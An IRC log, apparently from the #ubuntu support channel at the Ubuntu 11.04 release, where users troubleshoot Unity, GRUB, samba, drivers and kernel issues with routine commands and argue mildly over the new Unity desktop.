[00:59] <Stameni> HyperShock, i have tried again and i was able to alt-tab it alltought i didn't saw it anywhere and it did not dock in unity's bar.
[00:59] <escott> PaidSupport, and of course make sure to select the kernel from the boot menu
[00:59] <Cairo|Mac> acicula: yes
[00:59] <Aerosonic> Guys? I know you're not the devs of Ubuntu 11.04, but if you know the devs, tell them to 'not fix what ain't broke' I am getting errors from everywhere
[00:59] <Cairo|Mac> it it ok if it has lots of "ignored unknown paramater:"?
[01:00] <Stameni> HyperShock, no,
[01:00] <acicula> Cairo|Mac, probably not
[01:00] <Cairo|Mac> oh
[01:00] <timClicks> can someone help me with my AWK syntax?  dpkg -l |  awk print $1
[01:00] <Cairo|Mac> i am
[01:00] <Aerosonic> I get this: *ERROR* atombios stuck on loop for more than 5 seconds. aborting
[01:00] <Aerosonic> Unable to andle kernel NULL pointer dereference
[01:00] <Aerosonic> Unexpected exit with status 0x0009
[01:00] <Cairo|Mac> you can see lots of them in http://img204.imageshack.us/img204/9931/img3504o.jpg
[01:00] <Cairo|Mac> up the top
[01:00] <Stameni> HyperShock, my work is mostly saved and part that gonne is not so big, but anyway, this should not happen
[01:00] <escott> timClicks, awk '{ print $1 }'
[01:00] <acicula> Cairo|Mac, though as Gnea pointed out it may still be starting samba given it shows a green light
[01:01] <timClicks> escott, perfect thanks
[01:01] <Cairo|Mac> so it might be ok?
[01:01] <escott> timClicks, you can always remember because awk has a beginning middle and end code blocks that need to be in curly braces
[01:01] <jukebox-zero> So I noticed today that ecryptfs appears to be eating half of my diskspace. Been reading the man pages to see why, and since it's on the fly encryption, it would seem this should not be. In the disk analyzer it appears in the home directory ecryptfs has duplicated my home directory, but it's copy is actually larger than the original. That seems strange. Am I just looking at this wrong?
[01:01] <isarl> This is the xorg.conf file I'm using, but nouveau isn't working properly: http://pastebin.ca/2052662  Any ideas?  Has nvidia released drivers for 11.04 yet?
[01:01] <escott> jukebox-zero, the encrypted filesystem is loop mounted back on top of /home/username
[01:01] <fisix> why are there lines all over my right click options for indicator applets...
[01:01] <HyperShock> Stameni: ok, i just installed geany, it asked me if I wanted to add it to my launcher, i said, no. I opened it and them minimized it, it then showed up at the bottom of my unity bar. My suggestions to you is to uninstall geany via the soft center and then reinstall it so that it will have the necessary unity elements in place.
[01:01] <litropy> I'm considering installing medibuntu's packages on top of my existing Natty install. Does this action typically cause problemss?
[01:01] <acicula> Cairo|Mac, idk, does purging and reinstalling solve the problem?
[01:01] <escott> jukebox-zero, so it may duplicate your du count, but its not double the disk usage
[01:01] <Cairo|Mac> im abiut to rebiit
[01:01] <Cairo|Mac> and ffind out
[01:02] <WhitePelican> Gnea, I remembered there were a couple of libraries I had to reference prior, now it works. but now i have no system tray and it doesn't remember my password
[01:02] <Stameni> HyperShock, maby thats the problem, geany is docked by default in unity bar on my system !
[01:03] <Stameni> HyperShock, and if it is so, than the minimized geeany just desapear
[01:03] <acicula> litropy, you mean to add the medibuntu repositories?
[01:03] <Sicor> hello
[01:03] <litropy> acicula, yes
[01:03] <HyperShock> Stameni: and maybe you have unconfigured packages too, i had tons of them during the upgrade, as my upgrade failed. sudo dpkg --configure -a
[01:03] <chipmenk> what is samba 24?
[01:03] <jukebox-zero> escott, that's what I was hoping to hear. Thanks.
[01:04] <HyperShock> Stameni: then i ofcourse had to do sudo apt-get dist-upgrade --fix-broken
[01:04] <litropy> acicula, and at that point, I'm going to install ... please hold
[01:04] <HyperShock> chipmenk: me thinks that is the ipv6 variety
[01:04] <Sicor> In unity, for some reason the top bar where the close, minimize, and the maximize button dissapears
[01:04] <Stameni> HyperShock, i had clean install
[01:04] <fisch246> alright so upgraded to natty on the server... and now i can't read the text anymore... i upgraded by doing "do-release-upgrade" did i do something wrong? is there a way to fix this?
[01:04] <acicula> well they are just addon packages for the most part, so i dont see why you should run into problems
[01:04] <nikos719> hi guys
[01:04] <Sicor> does anyone know why this is
[01:04] <Sicor> hello
[01:04] <nikos719> newone in ubuntu
[01:05] <acicula> fisch246, doing a remote upgrade?
[01:05] <litropy> acicula, alrighty thank you
[01:05] <Stameni> HyperShock, and freshly installed geany, and then i set system from the scratch
[01:05] <fisch246> acicula: yes, i did not use SSH
[01:05] <Cairo|Mac> acicula: no, that doesn't fix it
[01:05] <Stameni> HyperShock, and freshly installed geany, and then i set system from the scratch
[01:05] <Calif> when I run some commands like make, I frequently get an error - notifications.c:744:13: warning: ignoring return value of âasprintfâ, declared with attribute warn_unused_result
[01:05] <HyperShock> Stameni: try the dpkg command just in case
[01:05] <nikos719> well I have an archos 9 tablet pc with a 9" touchscreen
[01:05] <Calif> what does this mean?
[01:05] <Cairo|Mac> this is waht i got when i reinstalled samba4
[01:05] <Cairo|Mac> http://img15.imageshack.us/img15/80/img3506pc.jpg
[01:05] <Sicor> Also, my screen resolution is not properley set in 11.04
[01:05] <acicula> Cairo|Mac, weird, do you have some custom samba packages or other samba packages on the system?
[01:05] <escott> PaidSupport, still there?
[01:05] <Sicor> All of the other distros work fine
[01:06] <Cairo|Mac> acicula: not afaik
[01:06] <Stameni> HyperShock, I did it
[01:06] <Cairo|Mac> unless they were automatically installed
[01:06] <nikos719> I installed ubuntu 10.10 about 2 hours ago and everything went fine but the 11.04 upgrade was in update manager so I decided to upgrade my ubuntu but
[01:06] <isarl> Does anybody know if there are official nvidia drivers for 11.04 yet?
[01:06] <nikos719> my tablet stuck on boot about 15 minutes now
[01:06] <PaidSupport> escott: I am. trying to figure out what a header file is
[01:06] <lcb> WhitePelican, did you get skype recognizing the cam?
[01:07] <PaidSupport> escott: Only found just the one .deb at that link
[01:07] <WhitePelican> lcb, yes
[01:07] <Sicor> idk, i have a gts 250, and my video is messed up
[01:07] <escott> PaidSupport, i think you could skip the header file... just make sure to install it if this works
[01:07] <nikos719> should i still wait for it or should i reformat my tablet?
[01:07] <lcb> WhitePelican, what did you do? restart?
[01:07] <Stameni> HyperShock, thank you for help and info, I think that that needs to be fixed, it is some kind of bug if geany is docked in the unity's toolbar
[01:07] <hiexpo> nikos719, 10.04
[01:07] <Cairo|Mac> acicula: i dont think so
[01:07] <Cairo|Mac> not unless they were installed automatically
[01:07] <escott> PaidSupport, some things may not work correctly without the headers but you should know immediately (as soon as the kernel gets booted) if it detects the backlight
[01:08] <nikos719> hiexpo what do you mean?
[01:08] <WhitePelican> no, I remembered I had a script that referenced a couple of v4l liraries and then it runs skype
[01:08] <diglett> thanks for the help guys, networks been kinda spotty, have any idea on a good guide for manually setting the network preferences?
[01:08] <escott> PaidSupport, and the header files are not architecture specific so there is only one file (no amd64 vs i386)
[01:08] <nikos719> please help me guys
[01:08] <PaidSupport> escott: ok, I'll be back
[01:08] <mister2> opening sound prefrences has a major issue with speech something on my machine... i get a bunch of randomly opening and erroring terminals complaining about python something something. any idea how to make sound prefrences work again?
[01:08] <Sicor> whats your problem nikos719
[01:08] <hiexpo> nikos719, ubuntu 10.04
[01:08] <lcb> WhitePelican, ahh ok, great.
[01:08] <SinnerNyx> Was working in 10.10, not working in 11.04. Running "sudo /etc/init.d/networking restart" gives the following output:
[01:09] <nikos719> I installed ubuntu 10.10 about 2 hours ago and everything went fine but the 11.04 upgrade was in update manager so I decided to upgrade my ubuntu but my tablet stuck on boot about 15 minutes now
[01:09] <fisch246> no ideas then?
[01:09] <Jordan_U> SinnerNyx: sudo service networking restart
[01:09] <Sicor> What tablet do you have
[01:09] <WhitePelican> but now, no sytem tray icon, and it forgets my password, lcb
[01:09] <acicula> Cairo|Mac, Well the errors are related to the configuration file, either the purging didnt reinstall the maintainers version or the maintainers version is corrupt. Any reason why you are using samba4 instead of the samba default?
[01:09] <Stameni> HyperShock, eaven if i set that geany is nod in louncher by default, it still doesn't minimize it there ...
[01:09] <lcb> WhitePelican, i just installed and looks ok...
[01:09] <Cairo|Mac> acicula: i assumed that 11.04 installed that by default...
[01:10] <Stameni> HyperShock, there is some problem with my system alone, probably
[01:10] <Cairo|Mac> if i purge samba4 again and install samba would that wrok?
[01:10] <HyperShock> Stameni: considering we're all just like you, please goto launchpad.net and report the bug so that we may all benefit when some volunteer programmer makes a patch. :)
[01:10] <acicula> Cairo|Mac, nope, you have to explicitly enable samba4
[01:10] <acicula> Cairo|Mac, its worth a try
[01:10] <WhitePelican> lcb, from medibuntu or the skype webite?
[01:10] <WhitePelican> website*
[01:10] <Cairo|Mac> acicula: oh
[01:10] <HyperShock> Stameni: although my geany is behaving correctly.
[01:10] <Cairo|Mac> acicula: ill try that then
[01:10] <Stameni> HyperShock, are you rrunning 64 or 42 bit ?
[01:10] <fisch246> i only get visual issues when using it remotely... which is fun unless i want to upgrade again
[01:10] <Stameni> 32*
[01:10] <Sicor> I need help
[01:10] <HyperShock> Stameni: 32
[01:10] <fisch246> fine*
[01:11] <Stameni> the same ...
[01:11] <sebsebseb> wow very lacking the 11.04 repo's for Identica/Twitter clients it seems!
[01:11] <lcb> WhitePelican, from the regular repos. but that version is for maverik, btw
[01:11] <nikos719> HELP ME PLEASE!I installed ubuntu 10.10 about 2 hours ago and everything went fine but the 11.04 upgrade was in update manager so I decided to upgrade my ubuntu but my tablet stuck on boot about 15 minutes now.what can I do now?reformat to 10.10 or do somethin else?
[01:11] <Stameni> HyperShock, anyway, thank you, by
[01:11] <hiexpo> can you still install mediabuntu repos in 11.04?
[01:11] <Sicor> nikos719, what specs does your tablet have
[01:11] <nikos719> 1.3 ghz 1 gb ram
[01:12] <nikos719> 60 gb hdd
[01:12] <SinnerNyx> Was working in 10.10, not working in 11.04. Running "sudo /etc/init.d/networking restart" gives the following output: (deprecated message)... SIOCSIFADDR: no such device   eth0: Error while getting interface flags: no such device
[01:12] <WhitePelican> hmmm
[01:12] <nikos719> sicor help me buddy
[01:12] <Sicor> yeah, just looking at what specs are needed
[01:13] <lcb> WhitePelican, when you start doesn't say "another skype instance may exist"? probably your prob w the pass is there...
[01:13] <nikos719> in ubuntu 10.10 everythin went right with no errors
[01:13] <WhitePelican> it did but then I kiled it from the command line
[01:13] <WhitePelican> also, why no system tray icon?
[01:13] <fcuk112> i've setup a keyboard shortcut to create a new (second) instance of chromium, but is it possible to do this via the launcher?
[01:13] <escott> nikos719, is plymouth running? (the graphical boot)
[01:14] <lcb> WhitePelican, nooo.... is at the top panel, on the right... should be
[01:14] <nikos719> nope a black screen i can see
[01:14] <SinnerNyx> any ideas?
[01:14] <WhitePelican> I'm looking and it' not there
[01:14] <Sicor> Can't find the system requirements
[01:14] <lcb> WhitePelican, quit all you have there. probably more than 1 instance, even
[01:14] <ipwntech> is there a way to set a keyboard shortcut for the workspace switcher in ubuntu 11.04?
[01:14] <Sicor> does anyone know what the system requirements are for ubuntu 11.04 with unity
[01:14] <WhitePelican> I'll try
[01:15] <escott> nikos719, can you boot into recovery mode
[01:15] <lcb> WhitePelican, check system monitor, if for any reason you don't have the indicators
[01:15] <fcuk112> ipwntech, try <super>-S
[01:15] <Sicor> found it
[01:15] <ipwntech> is there a way i can change it to something else?
[01:15] <nikos719> escot no I cant
[01:15] <ipwntech> thanks i had been looking for that for 30 minutes
[01:15] <WindowNumOne> Hey guys I need help!
[01:15] <lcb> Sicor, basically a computer :p
[01:15] <nikos719> sicor I found the reqs
[01:16] <Sicor> yeah, gotta have 1gb ram
[01:16] <Sicor> and 1ghz cpu
[01:16] <nikos719> I have em
[01:16] <WindowNumOne> I have like three problems that are bugging me bad!
[01:16] <Chipzzz> Speak up, WindowNumOne... what's the problem?
[01:16] <fcuk112> ipwntech, haven't found the need for it - but i would check compiz config settings manager
[01:16] <tim__> hi guys
[01:16] <WhitePelican> I did a ps ax and there is only one instance of Skype
[01:16] <fisch246> well i'll post on the forums then i guess
[01:17] <OY1R> Q> why wond Ubuntu 11.04 live mode work on a dell inspiron 9400? it hangs(stoops loading)  after i press Try Ubuntu, but seems like it s running since i cann connect to my wlan and the ubuntu power button works
[01:17] <lcb> Sicor, about the ram.. you could tweak it, kill some processes you don't need. about 11.04 itself, with no unity, doesn't require too much, i mean, much less.
[01:17] <ipwntech> FCUK112 They all say none
[01:17] <SinnerNyx> nvm, googled it
[01:17] <ipwntech> fcuk112 They all say none
[01:17] <WindowNumOne> Ok for some reason Grub was showing up, and then all of a sudden it stopped and goes str8 to ubuntu
[01:17] <tim__> i love the unity interface
[01:17] <escott> nikos719, it would help if you disabled the boot splash to identify the problem
[01:17] <WindowNumOne> how do i get grub back?\
[01:17] <mr_orange> Chipzzz, how is grub going to be my issue. The menu for me to choose which os i want to boot into shows up and lets me get into windows just when i try to boot into ubuntu it sits at a blank screen.
[01:17] <drawhla> need help please, just installed 11.04 using gnome classic desktop with effects enabled. how do I get the exact settings as they where standard in 10.10?
[01:18] <nikos719> escott how can I do that?
[01:18] <escott> nikos719, read https://help.ubuntu.com/community/Grub2#Editing%20Menus%20During%20Boot in particular you want to set nosplash instead of splash
[01:18] <Sicor> nikos719, do you have an x86 processor?
[01:18] <binoy> ubuntuone is not working. please helpme out.
[01:18] <tim__> anyone know when work starts on 11.10
[01:18] <nikos719> sicor yeah
[01:18] <mr_orange> I have installed 11.04 on my desktop along side windows 7 and when i try to boot up ubuntu it just sits on a blank screen and goes into sleep mode, but it lets me boot into windows no problem. Can anyone tell me my problem?
[01:18] <binoy> ubuntuone is not working. please help e out.
[01:18] <lcb> WhitePelican, write the nick so ppl can see who are you talking to :p that's another matter - the indicator.
[01:18] <Sicor> What tablet did you buy
[01:18] <WindowNumOne> Grub stopped working how do I restore it anyone?
[01:18] <escott> !grub | WindowNumOne
[01:18] <ubottu> WindowNumOne: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[01:18] <Chipzzz> mr_orange: the grub entry for Ubuntu may not be pointing to the right place on the partition or may have another incorrect parameter
[01:19] <WhitePelican> sorry lcb
[01:19] <victorhugo289> I made Unity in Ubuntu 11.04 work!! I don't know how but it works now!
[01:19] <nikos719> archos 9 60 gb
[01:19] <binoy> ubuntuone is not working. please help me out.
[01:19] <binoy> mr_orange: try reinstalling grub2.
[01:19] <lcb> WhitePelican, matter of fact i scrolled back, just in case .. and i saw it. are you on unity or classic desktop?
[01:19] <pericynthion> Jordan_U: That worked.  Thanks for the help!
[01:19] <mr-rich> is ANYBODY else having problems with dbus-deamon sucking up 30%+ cpu usage?
[01:19] <WindowNumOne> OMG I just bought a Archos 10 the one with Android on it, but I sat on the screen /:
[01:20] <binoy> ubuntuone is not working. please help me out.
[01:20] <WindowNumOne> ANYBODY help me restore grub?
[01:20] <Sicor> Does anyone know of any good Nvidia drivers for 11.04, because the ones i got don't work very well
[01:20] <WhitePelican> xubuntu, lcb
[01:20] <Sicor> btw, i have a GTS 250
[01:20] <escott> mr_orange, read https://help.ubuntu.com/community/Grub2#Editing%20Menus%20During%20Boot in particular you want to set nosplash instead of splash
[01:20] <uRock> !grub > WindowNumOne
[01:20] <ubottu> WindowNumOne, please see my private message
[01:20] <escott> mr_orange, that should give us a bit more information
[01:20] <lcb> WhitePelican, oh... but you know, i'm not running from medibuntu. yours probably is different and, besides having medibuntu repos i don't see skype in synaptic
[01:21] <binoy> ubuntuone is not working. please help me out.
[01:21] <Chipzzz> WindowNumOne: grub has a timeout delay that may now be set to 0 rather than 5... hold down the shift key while the machine boots & you can edit the grub menu
[01:21] <WhitePelican> ah
[01:21] <Jordan_U> pericynthion: You're welcome. One last thing though, to be sure upgrades will work in the future can you pastebin the output of "debconf-show grub-pc"?
[01:21] <Jordan_U> WindowNumOne: Hold shift during boot to see the grub menu.
[01:21] <victorhugo289> Pentium 4, @2Ghz, 1GB ram, 128MB ATI radeon 9250 >> Unity works very nice!
[01:21] <uRock> binoy, what about ubuntu one isn't working?
[01:21] <lcb> WhitePelican, sometimes is better if we stay with normal releases...
[01:21] <LeDD> hi, im trying to use ndiswrapper to get a PCI wireless card installed on ubuntu. this is the error i get when i try to make install it: http://paste.ubuntu.com/602055/
[01:21] <WindowNumOne> NO I didn't lose it after installing windows I dont have windows installed yet it just stopped poppin up
[01:22] <sebsebseb>  
[01:22] <binoy> uRock: nothing. It cant be launched
[01:22] <lcb> WhitePelican, but i don't mean by this yours could be buggy. it could be also something elese, the issues you are having
[01:22] <WhitePelican> possible
[01:22] <binoy> uRock: i tried purging and reinsatlling. still doesnt work.
[01:22] <Jordan_U> WindowNumOne: It's normal for the grub menu not to show at boot with Ubuntu.
[01:22] <uRock> binoy, does it give any error messages when you start it via terminal?
[01:22] <Chipzzz> WindowNumOne: you can reinstall it with grub-install
[01:22] <escott> PaidSupport, how about now?
[01:23] <PaidSupport> I'm on natty this time =)
[01:23] <binoy> just "aborted"
[01:23] <lcb> well, time to sleep, bye WhitePelican. good luck with that. nite all
[01:23] <WindowNumOne> Its installed I tried to install another bootmanager Lilo? over it but it did not work
[01:23] <muleformycash> Can someone please help me? I'm using libreoffice on gnome3, and after I click print for a document, gnome3 immediately says printing cancelled for that document, and i have no idea why
[01:23] <PaidSupport> Escott: Running 2.6.35 and I have a backlight, and unity
[01:23] <WhitePelican> ty lcb and goodnight
[01:23] <escott> PaidSupport, excellent
[01:23] <binoy> uRock: just "aborted"
[01:23] <Cairo|Mac> acicula: it gets further now..
[01:23] <Cairo|Mac> though it throws a failed error
[01:23] <PaidSupport> escott: so, about that header file thing you were talking about. Is that something I need to do?
[01:24] <Cairo|Mac> and it turns out i had samba AND samba4 installed
[01:24] <uRock> binoy, honestly I have never used ubuntuone, but I was hoping for a usable error message
[01:24] <escott> PaidSupport, you'll want to track down the patch that turns on your backlight by trying a few kernels and finding what ones work and then talking to the kernel team
[01:24] <Chipzzz> WindowNumOne: Are you installing it in the correct partition?
[01:24] <escott> otherwise you are stuck on the old kernel forever
[01:24] <acicula> Cairo|Mac, whats the error
[01:24] <PaidSupport> escott: where can I find the kernel team?
[01:24] <Cairo|Mac> jsut amo
[01:24] <escott> PaidSupport, without the headers some applications won't be able to be installed correctly
[01:24] <Cairo|Mac> pcis uploading
[01:24] <Cairo|Mac> *pic
[01:24] <acicula> Cairo|Mac, having them both installed does explain it a little
[01:24] <Cairo|Mac> yeah
[01:25] <binoy> uRock: yeah.  me too.
[01:25] <WindowNumOne> I have ubuntu as one big drive
[01:25] <nubwhoneedshelp> In 10.10 my web browser (firefox) automatically redirected to web pages.( Facebook would go to http://www.facebook.com) In 11.04 it dpesn't any reason why?(Not that big a deal though)
[01:25] <LeDD> Hello, im getting the following errors while trying to install ndiswrapper. I dont not have an internet connection so i had to download ndiswrapper and then bring it over by a usb stick. http://paste.ubuntu.com/602055/
[01:25] <binoy> uRock: thanks for reply bro. Is there someone who can help?
[01:25] <WindowNumOne> I couldnt boot into my windows drive so I delelted it
[01:25] <uRock> WindowNumOne, are you dual booting?
[01:25] <Cairo|Mac> acicula: http://img535.imageshack.us/img535/9358/img3507sk.jpg
[01:25] <toad__> jhg
[01:26] <aphexcoil> hello!
[01:26] <escott> PaidSupport, #ubuntu-kernel also https://wiki.ubuntu.com/Kernel, but you will want to narrow things down to be able to say "this particular kernel works, this one doesn't, this is my hardware" as best you can
[01:26] <aphexcoil> how's everyone enjoying Unity?
[01:26] <nzashadow> how do I allocate drive space to install ubuntu without affecting the other OS?
[01:26] <isarl> aphexcoil: Very funny. :(
[01:26] <WindowNumOne> grub-install just gave me a bunch of options would uninstalling  then reinstalling via ubunto software install work
[01:26] <uRock> !ot aphexcoil,
[01:26] <PaidSupport> escott: sounds like an adventure.
[01:26] <acicula> Cairo|Mac, thats a different and unrelated error
[01:26] <aphexcoil> actually it was a real question ... I'm about to upgrade :)
[01:26] <Cairo|Mac> acicula: ok
[01:26] <ner0x> Is there a way to go back from using unity? and stick with gnome?
[01:26] <isarl> aphexcoil: My advice: DON'T.
[01:26] <acicula> Cairo|Mac, id start looking in syslog or messages to see what that is about
[01:27] <Cairo|Mac> how?
[01:27] <escott> PaidSupport, you've done it enough you see how its not that bad, just a bit of downloading and testing. also please update your launchpad bug (i think someone said that was yours)
[01:27] <isarl> aphexcoil: Nothing but problems since I have.  I'm about to decide to back up ~ and then wipe it and do a fresh install.
[01:27] <aphexcoil> you can still use Gnome, right?
[01:27] <PaidSupport> Will do
[01:27] <binoy> ubuntuone is not working. please help me out.
[01:27] <escott> !classic | aphexcoil
[01:27] <ubottu> aphexcoil: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[01:27] <aphexcoil> thanks escott
[01:27] <uRock> Unity has been awesome for me
[01:27] <Chipzzz> WindowNumOne: are you planning to reinstall Windows & dual boot?
[01:27] <Steela> Yes
[01:28] <escott> PaidSupport, im done for the night so goodnight and goodluck
[01:28] <dios_mio> aphexcoil, unity BLOWS lol
[01:28] <isarl> aphexcoil: I guess my advice is only tangentially related to your question, seeing as my drivers are so borked that I haven't even been able to use Unity yet.  But my advice is that if you're upgrading, do a fresh install.
[01:28] <PaidSupport> escott: thanks again!
[01:28] <aphexcoil> I upgraded to Beta using the switch to show alpha and beta releases ... hopefully I can go from beta to the real release without any hitches
[01:28] <aphexcoil> are you guys recommending a fresh install?
[01:28] <isarl> aphexcoil: I am, but I don't speak for the rest of #ubuntu.
[01:29] <aphexcoil> all my files are on dropbox, so it isn't a hassle to do a fresh install
[01:29] <Steela> But I was going to install windows first then, ubuntu new one
[01:29] <binoy> somebody help me with ubuntuone
[01:29] <dios_mio> aphexcoil, only difference in a fresh install is that it makes your grub screen purple lol
[01:29] <aphexcoil> hahaha
[01:29] <uRock> purple grub screen, awesome
[01:30] <acicula> aphexcoil, i've not needed to do that
[01:30] <WindowNumOne> If it wasn't for Ubuntu Software Center I think I would install OpenSuSe
[01:30] <kusanagi> how to disable the snap to middle grid?
[01:30] <aphexcoil> I'm using a PHC edition of the current kernal so that I can undervolt my laptop's CPU ... I'm assuming I'll lose that ability until they can compile something for 11.04
[01:30] <ner0x> Also, any way to go back to firefox 3.6? Selenium isn't compatible with 4.*
[01:30] <isarl> The other difference, if you're "lucky", is that your drivers are borked and your system freezes.
[01:30] <aphexcoil> the undervolting really helps keep the laptop cool
[01:30] <Chipzzz> lol
[01:30] <Cairo|Mac> acicula: but i still get the inverted color and text screen in a normal boot
[01:30] <mr-rich> Hello, is ANYBODY else having problems with dbus-deamon sucking up 30%+ cpu usage?
[01:30] <binoy> somebody help me with ubuntuone
[01:31] <rockets> Through messing with my system too much in 11.04, I managed to lose my clock
[01:31] <LeDD> if the ndiswrapper im using insnt installing when i bring it over to linux by usb is there any other options? i dont have internet working on ubuntu
[01:31] <rockets> Any ideas how I can get it back?
[01:31] <rockets> E.g. there is no clock in the upper right of my screen. I'm using the unity desktop
[01:31] <aphexcoil> why can't we add devices to the bar at the top or bottom in unity?  I miss the CPU monitors and weather, etc.
[01:32] <kusanagi> aphexcoil, just login without unity
[01:32] <WindowNumOne> I need to go back to the OLD ubuntu, that why I need GRUB I saw that option, new Ubuntu not allowing me to burn ISO's!!!!!!!!!!!!!!!!!!!!!!!
[01:32] <aphexcoil> that defeats the purpose of having Unity
[01:32] <WindowNumOne> what do i do
[01:32] <aphexcoil> I'd like Unity to include those things
[01:32] <uRock> Ubuntu without Unity is like a car with no fuel
[01:32] <fisix> how am i supposed to switch windows easily in unity?
[01:32] <kusanagi> ubuntu without unity is like a car WITH fuel
[01:32] <rockets> Nobody makes you use unity, just pick the ubuntu classic desktop and stfu
[01:32] <jbag> in unity, open Time & Date, go to the clock tab and check the box "show a clock in menu bar"
[01:32] <aphexcoil> lol kusanagi
[01:33] <uRock> WindowNumOne, hit the shift key while booting to get the grub menu
[01:33] <rockets> jbag, thanks, I managed to remove that package, but clicking on it opened up its page in ubuntu software center <3
[01:33] <uRock> kusanagi, change is inevitable
[01:33] <aphexcoil> I'm just suggesting an enhancement for unity, Rockets
[01:33] <kusanagi> unity is not ready yet... forcing it to users is the dumbest move ive seen from ubuntu
[01:33] <rockets> aphexcoil, I know, I was talking to uRock mainly
[01:33] <aphexcoil> oh
[01:33] <Ziber> Running 10.10, my laptop fan seems to be a bit louder than when I ran windows
[01:33] <rockets> aphexcoil, but I agree that that sort of defeats the purpose of unity dude.
[01:33] <WindowNumOne> What if it wont let me go back to old version ubuntu, and what if old version doesn't allow me to burn ISO's either for some reason?
[01:34] <jbag> Has anyone else come across File roller issues in 11.04 with CBR files; they open fine, but cannot extract file contents?
[01:34] <calamari> kusanagi: nah dude.. this happened all the time.. one release you couldn't even edit the menu
[01:34] <aphexcoil> you can still use Gnome in 11.04
[01:34] <aeon-ltd> kusanagi: wait till you start using ground up distros, you start to hate that distros bundle anything you have to remove anyway :)
[01:34] <uRock> rockets, what is your issue?
[01:34] <kusanagi> uRock, unity is cool idea, but is not ready yet... and hope you dont think it is...
[01:34] <everton> Boa noite
[01:34] <rockets> jbag, I don't see that option now that it's installed :(
[01:35] <passthru> Boa noite
[01:35] <uRock> kusanagi, it is ready, if you want stable, then stick with LTSes
[01:35] <kusanagi> unity should had been turned on as a test by whoever who wants it... and dont make it default :/
[01:35] <aphexcoil> Unity is ready for some people ... it's going to take time to adapt to it like any new release
[01:35] <jamband> how can i revert back to the desktop in 10.10? please
[01:35] <aphexcoil> !classic
[01:35] <ubottu> The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[01:35] <WindowNumOne> DO you think having the new version of ubuntu is what causing me not able to burn ISO?  should I go back?
[01:35] <aphexcoil> no Window
[01:35] <everton> estou com problema na minha placa wirelles no 11.04
[01:35] <uRock> rockets, why did you tell me to stfu? I think it was uncalled ofr
[01:36] <maxjezy> hello, is there an msn client that works with CAM?
[01:36] <passthru> Unity rulez :)
[01:36] <aphexcoil> you should be able to burn ISOs in the new version
[01:36] <passthru> i'm using the Unity 2D version
[01:36] <rockets> uRock, I apologize good sir.
[01:36] <xeodox> How do I stop dovecot? I did "service dovecot stop" , and it returns stop: Unknown instance:
[01:36] <xeodox> .  But it's still in "ps aux"
[01:36] <Calif> aphexcoil, hello again lol
[01:36] <Barzogh> maxjezy: empathy works or try amsn
[01:36] <passthru> and it appears to be lightweight even in a legacy pc
[01:36] <aphexcoil> hey Calif!
[01:36] <aphexcoil> I had to log into a different server
[01:36] <kusanagi> uRock, you sound like an apple fanboy lol
[01:36] <aphexcoil> the other one was too quiet
[01:36] <passthru> everton, try #ubuntu-br
[01:36] <Calif> I was wondering what happened
[01:36] <Calif> freenodes awesome for that
[01:36] <aphexcoil> lol at apple fanboy
[01:36] <uRock> kusanagi, I have never touched an Aplle
[01:36] <litropy> Any idea why Youtube video plays just fine, but hulu video is choppy?
[01:37] <uRock> *Apple
[01:37] <yerac> hi
[01:37] <aphexcoil> I loved Apple back in the IIgs era
[01:37] <kusanagi> uRock, well, change apple for ubuntu... and you can hang out with them
[01:37] <yerac> any1here?
[01:37] <yerac> need help
[01:37] <WindowNumOne> DO you think having the new version of ubuntu is what causing me not able to burn ISO?  should I go back?
[01:37] <uRock> kusanagi, old gnome looks too much like XP
[01:37] <wipmonkey> I read "!Classic" as "Not Classic"
[01:37] <aphexcoil> Why can't you burn an ISO, Window?
[01:37] <uRock> kusanagi, why you trolling?
[01:37] <aphexcoil> instead of repeating the same thing over and over, why don't you tell us what the problem is?
[01:37] <kellnola> so has the unity hate died down since thursday?
[01:37] <WindowNumOne> It just say ERROR or something.  I can get it go through simulation but thats it
[01:38] <WindowNumOne> It sucks
[01:38] <yerac> i have enabled one click option to open files, but how to just select it? ubuntu 10.10
[01:38] <passthru> couse trolls like to be fed
[01:38] <passthru> don't feed the trolls :)
[01:38] <aphexcoil> are you trying this under Unity or Gnome, Window?
[01:38] <kusanagi> uRock, im not against unity, but it has big bugs yet to make it default... they should had put it as optional...
[01:38] <aphexcoil> it is optional
[01:38] <aphexcoil> it's default, but optional
[01:38] <kusanagi> uRock, i actually enter to make a question, but nobody answer it
[01:38] <kusanagi> how to disable the snap to middle grid?
[01:38] <uRock> kusanagi, if they never implement it, then the bugs will never get reported and fixed
[01:39] <kellnola> it shocks me the number of users that think they "have" to use GNOME with ubuntu
[01:39] <isarl> uRock: the better way is to do propper debugging and testing before releasing to your users.
[01:39] <Flannel> kusanagi: Can you please take the unity-as-default discussion to #ubuntu-offtopic, thanks.
[01:39] <everton> Thank you. I'll try.
[01:39] <WindowNumOne> I tried 10 different ISO with 10 different DVDS, and brand but it did let me burn a CD once WinXP but I got a blue screen starting up
[01:39] <Cairo|Mac> does anyone know what causes this error?
[01:39] <uRock> isarl, people who want rock solid stability, really should stick to LTSes
[01:39] <Cairo|Mac> http://img535.imageshack.us/img535/9358/img3507sk.jpg
[01:39] <aphexcoil> we used to always debug in production ... Like Bill O'Reilly said, "F it, we'll do it live!"
[01:40] <WindowNumOne> Ima shoot myself if I can get windows back
[01:40] <isarl> uRock: People who are willing to deal with bugs in production should be using alpha releases.
[01:40] <yerac> no1 knows how to do that? ubuntu users....
[01:40] <kusanagi> sure... Flannel, i was actually making a question :/ I just answered a guy to turn off unity to get back panel icons... ^^
[01:40] <isarl> uRock: the occasional bug is obviously impossible to prevent, but the fallout from Unity is probably a pretty good indication that it wasn't ready yet.
[01:40] <aphexcoil> I've been using software since Dos 1.0 ... everyone knows that when you install the latest and greatest, you're part of the debug team
[01:40] <isarl> uRock: business as usual for Ubuntu, though.
[01:40] <Artarian> never use 11.04 version pls
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[01:41] <uRock> isarl, I have had zero bugs and issues with Unity
[01:41] <isarl> uRock: You are one data point.
[01:41] <aphexcoil> every time a new version of anything comes out, people are going to bitch about something
